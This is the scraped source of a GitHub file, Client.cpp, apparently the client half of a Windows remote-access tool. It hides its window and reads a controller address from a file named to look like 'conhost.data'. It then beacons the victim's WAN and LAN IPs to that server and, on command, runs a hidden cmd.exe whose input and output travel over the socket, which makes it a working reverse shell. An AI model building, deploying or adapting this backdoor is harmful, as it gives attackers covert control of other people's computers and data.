-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathClient.cpp
402 lines (371 loc) · 12 KB
/
Client.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
// 设置连接器选项
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <ws2tcpip.h>
// #include <windows.h>
#include <stdio.h>
#include <iostream>
#include <thread>
#include <random>
#include <time.h>
#include <string>
#include <string.h>
#include <winternl.h>
#include <intrin.h>
#include <fstream>
#include <atomic>
#include <sstream>
#include "include/httplib.h"
#include "include/json.hpp"
#define STOPHEALTHCHECK 0
using json = nlohmann::json;
#pragma comment(lib, "ws2_32")
int localPort;
using namespace std;
string ip;
int serverPort;
bool ServerState = false;
string SEID;
SOCKET HealthyBeat;
SOCKET s;
WSADATA wsaData;
SOCKADDR_IN addr, addr2;
std::atomic<bool> ServerHealthCheck(false);
string GetFirstLocalIPAddress();
// void sendToServer(bool state = true);
void open_telnet();
void HealthCheck();
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
bool send_message(SOCKET sock, const std::string &message)
{
std::ostringstream oss;
oss << message.size() << "\r\n\r\n\r\n\r\n\r\n"
<< message; // 构建消息,包含长度和实际数据
std::string formatted_message = oss.str();
int total_sent = 0;
int message_length = formatted_message.size();
const char *data = formatted_message.c_str();
while (total_sent < message_length)
{
int bytes_sent = send(sock, data + total_sent, message_length - total_sent, 0);
if (bytes_sent == SOCKET_ERROR)
{
return false; // 发送失败
}
total_sent += bytes_sent;
}
return true; // 发送成功
}
bool receive_message(SOCKET sock, std::string &message)
{
std::string length_str;
char buffer[16384] = {0};
int received;
// 首先读取长度部分,直到接收到 \r\n
while (true)
{
received = recv(sock, buffer, 1, 0); // 每次读取一个字节
if (received <= 0)
{
return false; // 连接断开或读取出错
}
if (buffer[0] == '\r')
{
// 继续读取\n
received = recv(sock, buffer, 1, 0);
if (received <= 0 || buffer[0] != '\n')
{
return false; // 格式错误
}
for (int i = 1; i <= 4; i++)
{
received = recv(sock, buffer, 1, 0);
if (received <= 0 || buffer[0] != '\r')
{
return false; // 格式错误
}
received = recv(sock, buffer, 1, 0);
if (received <= 0 || buffer[0] != '\n')
{
return false; // 格式错误
}
}
break; // 读取到 \r\n,退出循环
}
length_str += buffer[0];
}
int data_length = std::stoi(length_str); // 转换长度字符串为整数
message.resize(data_length);
int total_received = 0;
while (total_received < data_length)
{
received = recv(sock, &message[total_received], data_length - total_received, 0);
if (received <= 0)
{
return false; // 连接断开或读取出错
}
total_received += received;
}
return true; // 接收成功
}
string getMyWanIp()
{
httplib::Client cli("http://ipinfo.io");
auto res = cli.Get("/json");
if (res && res->status == 200)
{
json j = json::parse(res->body);
return j["ip"].get<std::string>();
}
else
{
return "NULL";
}
}
std::string getMyLanIp()
{
WSADATA wsaData;
char hostname[256];
struct addrinfo hints, *result = nullptr;
struct addrinfo *ptr = nullptr;
char ip[INET_ADDRSTRLEN];
std::string ipAddress;
// Initialize Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
std::cerr << "WSAStartup failed" << std::endl;
return "NULL";
}
// Get the local hostname
if (gethostname(hostname, sizeof(hostname)) != 0)
{
std::cerr << "Error getting hostname" << std::endl;
WSACleanup();
return "NULL";
}
// Set up hints for getaddrinfo
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET; // IPv4 only
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Get address info
if (getaddrinfo(hostname, nullptr, &hints, &result) != 0)
{
std::cerr << "Error getting address info" << std::endl;
WSACleanup();
return "NULL";
}
// Iterate through the address list and find the first IPv4 address
for (ptr = result; ptr != nullptr; ptr = ptr->ai_next)
{
if (ptr->ai_family == AF_INET)
{
struct sockaddr_in *ipv4 = (struct sockaddr_in *)ptr->ai_addr;
inet_ntop(AF_INET, &(ipv4->sin_addr), ip, sizeof(ip));
ipAddress = ip;
break; // Only get the first available IPv4 address
}
}
// Clean up
freeaddrinfo(result);
WSACleanup();
return ipAddress;
}
void GetConnectForServer(bool state = true)
{
WSAStartup(MAKEWORD(2, 2), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
addr.sin_family = AF_INET;
addr.sin_port = htons(serverPort);
addr.sin_addr.s_addr = inet_addr(ip.c_str());
while (connect(s, (SOCKADDR *)&addr, sizeof(addr)) != 0)
;
sockaddr_in localAddr;
int addrLen = sizeof(localAddr);
if (getsockname(s, (sockaddr *)&localAddr, &addrLen) == 0)
{
localPort = ntohs(localAddr.sin_port);
}
std::string lanip = getMyLanIp();
string wanip = getMyWanIp();
send_message(s, "Client");
string buf;
receive_message(s, buf);
if (strcmp(((string)buf).c_str(), "OK") == 0)
{
string sendBuf = wanip + " " + lanip + " " + to_string(localPort);
send_message(s, sendBuf);
receive_message(s, buf);
SEID = buf;
HealthyBeat = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(serverPort);
addr2.sin_addr.s_addr = inet_addr(ip.c_str());
while (connect(HealthyBeat, (SOCKADDR *)&addr2, sizeof(addr2)) != 0)
;
send_message(HealthyBeat, SEID);
while (ServerHealthCheck.exchange(true, std::memory_order_acquire))
;
ServerState = true;
ServerHealthCheck.exchange(false, std::memory_order_release);
}
return;
}
pair<string, DWORD> readPipeALLData(HANDLE outputRead)
{
string res;
char cbuf[512] = {0};
DWORD dwBytesRead = 0;
DWORD mode = PIPE_NOWAIT;
SetNamedPipeHandleState(outputRead, &mode, NULL, NULL);
int flag = 0; // 判断是否是第5次遇到 ERROR_NO_DATA (重试次数)
do
{
ReadFile(outputRead, cbuf, sizeof(cbuf), &dwBytesRead, NULL);
DWORD error = GetLastError();
SetLastError(ERROR_SUCCESS);
if (error == ERROR_NO_DATA)
{
if (flag == 5)
break;
flag += 1;
Sleep(10);
continue;
}
res += cbuf;
memset(cbuf, 0, sizeof(cbuf));
if (dwBytesRead == 0)
break;
} while (true);
return make_pair(res, dwBytesRead);
}
void open_telnet()
{
PROCESS_INFORMATION Processinfo;
STARTUPINFO Startupinfo;
HANDLE outputRead, outputWrite;
HANDLE inputRead, inputWrite;
SECURITY_ATTRIBUTES sa = {0};
char szCMDPath[255];
DWORD dwBytesRead = 0;
DWORD dwBytesWrite = 0;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&outputRead, &outputWrite, &sa, 0); // 创建标准输出管道
CreatePipe(&inputRead, &inputWrite, &sa, 0); // 创建标准输入管道
// 配内存资源,初始化数据
ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
// 设置启动信息
Startupinfo.cb = sizeof(STARTUPINFO);
Startupinfo.wShowWindow = SW_HIDE;
Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
Startupinfo.hStdInput = (HANDLE)inputRead;
Startupinfo.hStdOutput = (HANDLE)outputWrite;
Startupinfo.hStdError = (HANDLE)outputWrite;
// 创建cmd进程
if (CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo))
{
CloseHandle(outputWrite);
CloseHandle(inputRead);
char cbuf[16384] = {0}, cbuf1[16384] = {0};
string buf;
buf = readPipeALLData(outputRead).first;
send_message(s, buf);
while (1)
{
string rbuf;
receive_message(s, buf);
WriteFile(inputWrite, buf.c_str(), strlen(buf.c_str()), &dwBytesWrite, NULL);
memset(cbuf, 0, sizeof(cbuf));
rbuf = readPipeALLData(outputRead).first;
send_message(s, rbuf);
if (buf == "\r\nexit\r\n")
break;
memset(cbuf, 0, sizeof(cbuf));
}
}
else
{
// 错误处理
std::cerr << "CreateProcess failed: " << GetLastError() << std::endl;
}
// 关闭进程句柄
CloseHandle(Processinfo.hProcess);
CloseHandle(Processinfo.hThread);
cout << "Close Connect";
}
void LoadData()
{
ifstream in;
in.open("conhost.data", ios::out);
if (in.is_open())
{
getline(in, ip);
string port;
getline(in, port);
serverPort = stoi(port);
}
else
{
ip = "127.0.0.1";
serverPort = 6020;
}
}
void healthyCheck(SOCKET HealthyBeat)
{
int timeout = 10000; // 设置超时时间为 10 秒
setsockopt(HealthyBeat, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
setsockopt(HealthyBeat, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
while (1)
{
string buf;
int state = receive_message(HealthyBeat, buf);
if (buf == "del")
{
send_message(HealthyBeat, "\r\nClose\r\n");
ServerState = false;
return;
}
int state1 = send_message(HealthyBeat, buf);
if (!STOPHEALTHCHECK && (state == SOCKET_ERROR || state1 == SOCKET_ERROR))
{
while (ServerHealthCheck.exchange(true, std::memory_order_acquire))
;
ServerState = false;
ServerHealthCheck.exchange(false, std::memory_order_release);
return;
}
}
}
void startTelnet()
{
while (ServerState)
{
cout << "wait server connect" << endl;
string startMSG;
receive_message(s, startMSG);
if (!startMSG.empty() && startMSG.find("\r\nstart\r\n") != string::npos)
{
open_telnet();
}
}
}
int main(int argc, char *argv[])
{
LoadData();
GetConnectForServer();
thread healthCheckThread = thread(healthyCheck, HealthyBeat),
openTelnet = thread(startTelnet);
while (ServerState)
{
}
healthCheckThread.join();
openTelnet.join();
closesocket(HealthyBeat);
closesocket(s);
WSACleanup();
return 0;
}